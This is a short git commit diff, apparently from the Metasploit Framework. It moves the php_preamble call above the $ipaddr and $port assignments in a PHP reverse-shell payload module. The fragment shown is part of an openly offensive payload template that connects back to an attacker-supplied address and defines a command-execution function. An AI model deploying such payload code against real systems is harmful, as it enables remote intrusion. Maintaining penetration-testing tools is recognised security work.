Move php_preamble before $ipaddr and $port

php_preamble contains a <?php tag now, so we need to move it to the top.
bug/bundler_fix
William Vu 2017-06-15 19:50:57 -05:00
parent 9d57197736
commit 5f74da9023
1 changed files with 1 additions and 1 deletions

View File

@ -63,9 +63,9 @@ module MetasploitModule
end
shell=<<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: "$dis")}
$ipaddr='#{ipaddr}';
$port=#{port};
#{php_preamble(disabled_varname: "$dis")}
if(!function_exists('#{exec_funcname}')){
function #{exec_funcname}($c){